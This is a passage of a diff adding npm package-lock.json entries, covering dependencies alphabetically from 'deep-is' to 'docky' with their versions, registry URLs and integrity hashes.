+            "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA=="
+        },
+        "deep-is": {
+            "version": "0.1.4",
+            "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
+            "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ=="
+        },
+        "default-gateway": {
+            "version": "4.2.0",
+            "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-4.2.0.tgz",
+            "integrity": "sha512-h6sMrVB1VMWVrW13mSc6ia/DwYYw5MN6+exNu1OaJeFac5aSAvwM7lZ0NVfTABuSkQelr4h5oebg3KB1XPdjgA==",
+            "requires": {
+                "execa": "^1.0.0",
+                "ip-regex": "^2.1.0"
+            },
+            "dependencies": {
+                "execa": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz",
+                    "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==",
+                    "requires": {
+                        "cross-spawn": "^6.0.0",
+                        "get-stream": "^4.0.0",
+                        "is-stream": "^1.1.0",
+                        "npm-run-path": "^2.0.0",
+                        "p-finally": "^1.0.0",
+                        "signal-exit": "^3.0.0",
+                        "strip-eof": "^1.0.0"
+                    }
+                },
+                "get-stream": {
+                    "version": "4.1.0",
+                    "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
+                    "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
+                    "requires": {
+                        "pump": "^3.0.0"
+                    }
+                },
+                "is-stream": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz",
+                    "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ=="
+                },
+                "npm-run-path": {
+                    "version": "2.0.2",
+                    "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz",
+                    "integrity": "sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==",
+                    "requires": {
+                        "path-key": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "defer-to-connect": {
+            "version": "1.1.3",
+            "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz",
+            "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ=="
+        },
+        "define-properties": {
+            "version": "1.1.4",
+            "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.4.tgz",
+            "integrity": "sha512-uckOqKcfaVvtBdsVkdPv3XjveQJsNQqmhXgRi8uhvWWuPYZCNlzT8qAyblUgNoXdHdjMTzAqeGjAoli8f+bzPA==",
+            "requires": {
+                "has-property-descriptors": "^1.0.0",
+                "object-keys": "^1.1.1"
+            }
+        },
+        "define-property": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+            "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+            "requires": {
+                "is-descriptor": "^1.0.2",
+                "isobject": "^3.0.1"
+            },
+            "dependencies": {
+                "is-accessor-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-data-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-descriptor": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+                    "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+                    "requires": {
+                        "is-accessor-descriptor": "^1.0.0",
+                        "is-data-descriptor": "^1.0.0",
+                        "kind-of": "^6.0.2"
+                    }
+                },
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                }
+            }
+        },
+        "del": {
+            "version": "2.2.2",
+            "resolved": "https://registry.npmjs.org/del/-/del-2.2.2.tgz",
+            "integrity": "sha512-Z4fzpbIRjOu7lO5jCETSWoqUDVe0IPOlfugBsF6suen2LKDlVb4QZpKEM9P+buNJ4KI1eN7I083w/pbKUpsrWQ==",
+            "requires": {
+                "globby": "^5.0.0",
+                "is-path-cwd": "^1.0.0",
+                "is-path-in-cwd": "^1.0.0",
+                "object-assign": "^4.0.1",
+                "pify": "^2.0.0",
+                "pinkie-promise": "^2.0.0",
+                "rimraf": "^2.2.8"
+            }
+        },
+        "delayed-stream": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
+            "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="
+        },
+        "delegates": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
+            "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ=="
+        },
+        "depd": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
+            "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="
+        },
+        "dequal": {
+            "version": "2.0.3",
+            "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",
+            "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA=="
+        },
+        "des.js": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.1.tgz",
+            "integrity": "sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==",
+            "requires": {
+                "inherits": "^2.0.1",
+                "minimalistic-assert": "^1.0.0"
+            }
+        },
+        "destroy": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
+            "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg=="
+        },
+        "detab": {
+            "version": "2.0.4",
+            "resolved": "https://registry.npmjs.org/detab/-/detab-2.0.4.tgz",
+            "integrity": "sha512-8zdsQA5bIkoRECvCrNKPla84lyoR7DSAyf7p0YgXzBO9PDJx8KntPUay7NS6yp+KdxdVtiE5SpHKtbp2ZQyA9g==",
+            "requires": {
+                "repeat-string": "^1.5.4"
+            }
+        },
+        "detect-newline": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-1.0.3.tgz",
+            "integrity": "sha512-g1xZ/Ifp4oihL+E1hh2x/hVU0KBU/O/922wXOkVSBL87amsFCTtatniPMpUWncdbtTGu2MR00VEGd/ZJyIfexg==",
+            "requires": {
+                "get-stdin": "^4.0.1",
+                "minimist": "^1.1.0"
+            }
+        },
+        "detect-node": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz",
+            "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g=="
+        },
+        "detect-port": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/detect-port/-/detect-port-1.3.0.tgz",
+            "integrity": "sha512-E+B1gzkl2gqxt1IhUzwjrxBKRqx1UzC3WLONHinn8S3T6lwV/agVCyitiFOsGJ/eYuEUBvD71MZHy3Pv1G9doQ==",
+            "requires": {
+                "address": "^1.0.1",
+                "debug": "^2.6.0"
+            }
+        },
+        "devcert": {
+            "version": "1.2.2",
+            "resolved": "https://registry.npmjs.org/devcert/-/devcert-1.2.2.tgz",
+            "integrity": "sha512-UsLqvtJGPiGwsIZnJINUnFYaWgK7CroreGRndWHZkRD58tPFr3pVbbSyHR8lbh41+azR4jKvuNZ+eCoBZGA5kA==",
+            "requires": {
+                "@types/configstore": "^2.1.1",
+                "@types/debug": "^0.0.30",
+                "@types/get-port": "^3.2.0",
+                "@types/glob": "^5.0.34",
+                "@types/lodash": "^4.14.92",
+                "@types/mkdirp": "^0.5.2",
+                "@types/node": "^8.5.7",
+                "@types/rimraf": "^2.0.2",
+                "@types/tmp": "^0.0.33",
+                "application-config-path": "^0.1.0",
+                "command-exists": "^1.2.4",
+                "debug": "^3.1.0",
+                "eol": "^0.9.1",
+                "get-port": "^3.2.0",
+                "glob": "^7.1.2",
+                "is-valid-domain": "^0.1.6",
+                "lodash": "^4.17.4",
+                "mkdirp": "^0.5.1",
+                "password-prompt": "^1.0.4",
+                "rimraf": "^2.6.2",
+                "sudo-prompt": "^8.2.0",
+                "tmp": "^0.0.33",
+                "tslib": "^1.10.0"
+            },
+            "dependencies": {
+                "@types/glob": {
+                    "version": "5.0.37",
+                    "resolved": "https://registry.npmjs.org/@types/glob/-/glob-5.0.37.tgz",
+                    "integrity": "sha512-ATA/xrS7CZ3A2WCPVY4eKdNpybq56zqlTirnHhhyOztZM/lPxJzusOBI3BsaXbu6FrUluqzvMlI4sZ6BDYMlMg==",
+                    "requires": {
+                        "@types/minimatch": "*",
+                        "@types/node": "*"
+                    }
+                },
+                "@types/node": {
+                    "version": "8.10.66",
+                    "resolved": "https://registry.npmjs.org/@types/node/-/node-8.10.66.tgz",
+                    "integrity": "sha512-tktOkFUA4kXx2hhhrB8bIFb5TbwzS4uOhKEmwiD+NoiL0qtP2OQ9mFldbgD4dV1djrlBYP6eBuQZiWjuHUpqFw=="
+                },
+                "debug": {
+                    "version": "3.2.7",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+                    "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+                    "requires": {
+                        "ms": "^2.1.1"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.3",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+                    "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+                },
+                "tmp": {
+                    "version": "0.0.33",
+                    "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
+                    "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
+                    "requires": {
+                        "os-tmpdir": "~1.0.2"
+                    }
+                }
+            }
+        },
+        "diff": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+            "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="
+        },
+        "diff-sequences": {
+            "version": "25.2.6",
+            "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-25.2.6.tgz",
+            "integrity": "sha512-Hq8o7+6GaZeoFjtpgvRBUknSXNeJiCx7V9Fr94ZMljNiCr9n9L8H8aJqgWOQiDDGdyn29fRNcDdRVJ5fdyihfg=="
+        },
+        "diffie-hellman": {
+            "version": "5.0.3",
+            "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz",
+            "integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==",
+            "requires": {
+                "bn.js": "^4.1.0",
+                "miller-rabin": "^4.0.0",
+                "randombytes": "^2.0.0"
+            },
+            "dependencies": {
+                "bn.js": {
+                    "version": "4.12.0",
+                    "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+                    "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA=="
+                }
+            }
+        },
+        "dir-glob": {
+            "version": "3.0.1",
+            "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
+            "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+            "requires": {
+                "path-type": "^4.0.0"
+            }
+        },
+        "dns-equal": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz",
+            "integrity": "sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg=="
+        },
+        "dns-packet": {
+            "version": "1.3.4",
+            "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-1.3.4.tgz",
+            "integrity": "sha512-BQ6F4vycLXBvdrJZ6S3gZewt6rcrks9KBgM9vrhW+knGRqc8uEdT7fuCwloc7nny5xNoMJ17HGH0R/6fpo8ECA==",
+            "requires": {
+                "ip": "^1.1.0",
+                "safe-buffer": "^5.0.1"
+            }
+        },
+        "dns-txt": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/dns-txt/-/dns-txt-2.0.2.tgz",
+            "integrity": "sha512-Ix5PrWjphuSoUXV/Zv5gaFHjnaJtb02F2+Si3Ht9dyJ87+Z/lMmy+dpNHtTGraNK958ndXq2i+GLkWsWHcKaBQ==",
+            "requires": {
+                "buffer-indexof": "^1.0.0"
+            }
+        },
+        "docky": {
+            "version": "1.5.4",
+            "resolved": "https://registry.npmjs.org/docky/-/docky-1.5.4.tgz",
+            "integrity": "sha512-OqP63pMCl7UrVtzThQvXu4b31nGLTbom/b9csLWaNLcXGR80WrH4cgfUu32yNiz81BBhfy8lVCoaHIHrIqS1mQ==",
+            "requires": {
+                "chalk": "^2.3.0",
+                "chokidar": "^1.6.1",
+                "colors": "^1.1.2",
+                "commander": "^2.9.0",
+                "del": "^2.2.0",
+                "fs-extra": "^0.26.5",
+                "glob": "^7.1.1",
+                "jstransformer-markdown": "^1.1.0",
+                "lodash": "^4.17.4",
+                "markdown": "^0.5.0",
+                "marked": "^0.3.9",
+                "promised-io": "^0.3.5",
+                "pug": "^2.0.0-beta11",
+                "react-docgen": "^2.15.0"
+            },
+            "dependencies": {
+                "anymatch": {
+                    "version": "1.3.2",
+                    "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-1.3.2.tgz",
+                    "integrity": "sha512-0XNayC8lTHQ2OI8aljNCN3sSx6hsr/1+rlcDAotXJR7C1oZZHCNsfpbKwMjRA3Uqb5tF1Rae2oloTr4xpq+WjA==",
+                    "requires": {
+                        "micromatch": "^2.1.5",
+                        "normalize-path": "^2.0.0"
+                    }
+                },
+                "arr-diff": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+                    "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA=="
+                },
+                "array-unique": {
+                    "version": "0.3.2",
+                    "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+                    "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ=="
+                },
+                "binary-extensions": {
+                    "version": "1.13.1",
+                    "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz",
+                    "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw=="
+                },
+                "braces": {
+                    "version": "2.3.2",
+                    "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
+                    "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
+                    "requires": {
+                        "arr-flatten": "^1.1.0",
+                        "array-unique": "^0.3.2",
+                        "extend-shallow": "^2.0.1",
+                        "fill-range": "^4.0.0",
+                        "isobject": "^3.0.1",
+                        "repeat-element": "^1.1.2",
+                        "snapdragon": "^0.8.1",
+                        "snapdragon-node": "^2.0.1",
+                        "split-string": "^3.0.2",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "chokidar": {
+                    "version": "1.7.0",
+                    "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-1.7.0.tgz",
+                    "integrity": "sha512-mk8fAWcRUOxY7btlLtitj3A45jOwSAxH4tOFOoEGbVsl6cL6pPMWUy7dwZ/canfj3QEdP6FHSnf/l1c6/WkzVg==",
+                    "requires": {
+                        "anymatch": "^1.3.0",
+                        "async-each": "^1.0.0",
+                        "fsevents": "^1.0.0",
+                        "glob-parent": "^2.0.0",
+                        "inherits": "^2.0.1",
+                        "is-binary-path": "^1.0.0",
+                        "is-glob": "^2.0.0",
+                        "path-is-absolute": "^1.0.0",
+                        "readdirp": "^2.0.0"
+                    }
+                },
+                "expand-brackets": {
+                    "version": "2.1.4",
+                    "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
+                    "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==",
+                    "requires": {
+                        "debug": "^2.3.3",
+                        "define-property": "^0.2.5",
+                        "extend-shallow": "^2.0.1",
+                        "posix-character-classes": "^0.1.0",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "define-property": {
+                            "version": "0.2.5",
+                            "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+                            "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+                            "requires": {
+                                "is-descriptor": "^0.1.0"
+                            }
+                        },
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        },
+                        "is-accessor-descriptor": {
+                            "version": "0.1.6",
+                            "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+                            "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
+                            "requires": {
+                                "kind-of": "^3.0.2"
+                            },
+                            "dependencies": {
+                                "kind-of": {
+                                    "version": "3.2.2",
+                                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                                    "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                                    "requires": {
+                                        "is-buffer": "^1.1.5"
+                                    }
+                                }
+                            }
+                        },
+                        "is-data-descriptor": {
+                            "version": "0.1.4",
+                            "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+                            "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
+                            "requires": {
+                                "kind-of": "^3.0.2"
+                            },
+                            "dependencies": {
+                                "kind-of": {
+                                    "version": "3.2.2",
+                                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                                    "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                                    "requires": {
+                                        "is-buffer": "^1.1.5"
+                                    }
+                                }
+                            }
+                        },
+                        "is-descriptor": {
+                            "version": "0.1.6",
+                            "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+                            "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+                            "requires": {
+                                "is-accessor-descriptor": "^0.1.6",
+                                "is-data-descriptor": "^0.1.4",
+                                "kind-of": "^5.0.0"
+                            }
+                        },
+                        "kind-of": {
+                            "version": "5.1.0",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+                            "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+                        }
+                    }
+                },
+                "extglob": {
+                    "version": "2.0.4",
+                    "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
+                    "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
+                    "requires": {
+                        "array-unique": "^0.3.2",
+                        "define-property": "^1.0.0",
+                        "expand-brackets": "^2.1.4",
+                        "extend-shallow": "^2.0.1",
+                        "fragment-cache": "^0.2.1",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "define-property": {
+                            "version": "1.0.0",
+                            "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+                            "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+                            "requires": {
+                                "is-descriptor": "^1.0.0"
+                            }
+                        },
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "fill-range": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
+                    "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==",
+                    "requires": {
+                        "extend-shallow": "^2.0.1",
+                        "is-number": "^3.0.0",
+                        "repeat-string": "^1.6.1",
+                        "to-regex-range": "^2.1.0"
+                    },
+                    "dependencies": {
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "fs-extra": {
+                    "version": "0.26.7",
+                    "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-0.26.7.tgz",
+                    "integrity": "sha512-waKu+1KumRhYv8D8gMRCKJGAMI9pRnPuEb1mvgYD0f7wBscg+h6bW4FDTmEZhB9VKxvoTtxW+Y7bnIlB7zja6Q==",
+                    "requires": {
+                        "graceful-fs": "^4.1.2",
+                        "jsonfile": "^2.1.0",
+                        "klaw": "^1.0.0",
+                        "path-is-absolute": "^1.0.0",
+                        "rimraf": "^2.2.8"
+                    }
+                },
+                "fsevents": {
+                    "version": "1.2.13",
+                    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz",
+                    "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==",
+                    "optional": true,
+                    "requires": {
+                        "nan": "^2.12.1"
+                    }
+                },
+                "glob-parent": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz",
+                    "integrity": "sha512-JDYOvfxio/t42HKdxkAYaCiBN7oYiuxykOxKxdaUW5Qn0zaYN3gRQWolrwdnf0shM9/EP0ebuuTmyoXNr1cC5w==",
+                    "requires": {
+                        "is-glob": "^2.0.0"
+                    }
+                },
+                "is-accessor-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-binary-path": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz",
+                    "integrity": "sha512-9fRVlXc0uCxEDj1nQzaWONSpbTfx0FmJfzHF7pwlI8DkWGoHBBea4Pg5Ky0ojwwxQmnSifgbKkI06Qv0Ljgj+Q==",
+                    "requires": {
+                        "binary-extensions": "^1.0.0"
+                    }
+                },
+                "is-data-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-descriptor": {
